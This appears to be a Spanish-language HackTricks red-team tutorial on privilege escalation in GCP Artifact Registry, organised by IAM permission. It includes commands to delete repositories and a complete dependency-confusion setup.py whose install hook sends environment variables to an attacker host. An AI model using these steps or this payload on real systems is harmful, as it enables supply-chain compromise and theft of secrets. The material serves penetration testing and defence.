GCP - Artifact Registry Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Artifact Registry

Para más información sobre Artifact Registry, consulta:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

Con este permiso, un atacante podría subir nuevas versiones de los artifacts con código malicioso, como Docker images:

Subir imagen Docker a Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> Se comprobó que es **posible subir una nueva imagen docker maliciosa** con el mismo nombre y tag que la ya presente, por lo que la **antigua perderá el tag** y la próxima vez que se descargue esa imagen con ese tag se descargará la maliciosa.

<details>

<summary>Subir una biblioteca de Python</summary>

**Comienza creando la biblioteca a subir** (si puedes descargar la última versión desde el registry puedes evitar este paso):

1.  **Configura la estructura del proyecto**:

- Crea un nuevo directorio para tu biblioteca, p. ej., `hello_world_library`.
- Dentro de este directorio, crea otro directorio con el nombre de tu paquete, p. ej., `hello_world`.
- Dentro de tu directorio de paquete, crea un archivo `__init__.py`. Este archivo puede estar vacío o puede contener inicializaciones para tu paquete.

<details>
<summary>Crear estructura del proyecto</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Escribe el código de tu biblioteca:
  • Dentro del directorio hello_world, crea un nuevo archivo Python para tu módulo, p. ej., greet.py.
  • Escribe tu función “Hello, World!”:
Crear módulo de la biblioteca
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Crea un archivo setup.py:
  • En la raíz de tu directorio hello_world_library, crea un archivo setup.py.
  • Este archivo contiene metadata sobre tu biblioteca y le indica a Python cómo instalarla.
Crear archivo setup.py
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Ahora, subamos la biblioteca:

  1. Construye tu paquete:
  • Desde la raíz de tu directorio hello_world_library, ejecuta:
Construir paquete Python
python3 setup.py sdist bdist_wheel
  1. Configura la autenticación para twine (usado para subir tu paquete):
  • Asegúrate de tener twine instalado (pip install twine).
  • Usa gcloud para configurar las credenciales:
Upload package with twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Limpiar la compilación
Eliminar artefactos de compilación ```bash rm -rf dist build hello_world.egg-info ```

Caution

No es posible subir una librería de python con la misma versión que la ya presente, pero es posible subir versiones superiores (o añadir un .0 al final de la versión si eso funciona -no en python sin embargo-), o eliminar la última versión y subir una nueva con (se necesita artifactregistry.versions.delete):

Eliminar versión del artefacto
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Con este permiso puedes descargar artefactos y buscar información sensible y vulnerabilidades.

Descargar una imagen Docker:

Descargar imagen **Docker** desde Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Descargar una biblioteca de **python**:

<details>
<summary>Descargar biblioteca Python desde Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • ¿Qué ocurre si se mezclan un registro remoto y uno estándar en uno virtual y un paquete existe en ambos? Consulta esta página:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Eliminar artefactos del registro, como docker images:

Eliminar Docker image de Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Eliminar un repositorio completo (incluso si tiene contenido):

Eliminar repositorio de Artifact Registry ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

Un atacante con este permiso podría otorgarse permisos para realizar algunos de los ataques a repositorios mencionados anteriormente.

Pivotar a otros Servicios mediante lectura y escritura en Artifact Registry

  • Cloud Functions

Cuando se crea una Cloud Function se sube un nuevo docker image al Artifact Registry del proyecto. Intenté modificar la imagen por una nueva, e incluso eliminar la imagen actual (y la imagen cache) y nada cambió; la Cloud Function siguió funcionando. Por lo tanto, puede que sea posible abusar de un Race Condition como con el bucket para cambiar el contenedor docker que se ejecutará, pero solo modificar la imagen almacenada no parece ser suficiente para comprometer la Cloud Function.

  • App Engine

Aunque App Engine crea docker images dentro de Artifact Registry, se comprobó que incluso si modificas la imagen dentro de este servicio y eliminas la instancia de App Engine (de modo que se despliega una nueva), el código que se ejecuta no cambia.
Puede que sea posible que, realizando un Race Condition como con los buckets, sea posible sobrescribir el código ejecutado, pero esto no fue probado.

artifactregistry.repositories.update

Un atacante no necesita permisos específicos de Artifact Registry para explotar este problema: solo se requiere una configuración de repositorio virtual vulnerable. Esto ocurre cuando un repositorio virtual combina un repositorio público remoto (p. ej., PyPI, npm) con uno interno, y la fuente remota tiene igual o mayor prioridad. Si ambos contienen un paquete con el mismo nombre, el sistema selecciona la versión más alta. El atacante solo necesita conocer el nombre del paquete interno y poder publicar paquetes en el registro público correspondiente.

Con el permiso artifactregistry.repositories.update, un atacante podría cambiar la configuración upstream de un repositorio virtual para crear intencionadamente esta configuración vulnerable y usar Dependency Confusion como método de persistencia insertando paquetes maliciosos que los desarrolladores o los sistemas CI/CD puedan instalar automáticamente.

El atacante crea una versión maliciosa del paquete interno en el repositorio público con un número de versión más alto. Para paquetes de Python, esto implica preparar una estructura de paquete que imite a la legítima.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

A continuación se crea un archivo setup.py que contiene código malicioso que se ejecutaría durante la instalación. Este archivo debe especificar un número de versión mayor que el del repositorio privado.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Construye el paquete y elimina el wheel para asegurar que el código se ejecute durante la instalación.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Sube el paquete malicioso al repositorio público (por ejemplo, test.pypi.org para Python).

pip install twine
twine upload --repository testpypi dist/*

Cuando un sistema o servicio instala el paquete usando el repositorio virtual, descargará la versión maliciosa desde el repositorio público en lugar de la legítima interna, porque la versión maliciosa tiene un número de versión superior y el repositorio remoto tiene igual o mayor prioridad.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks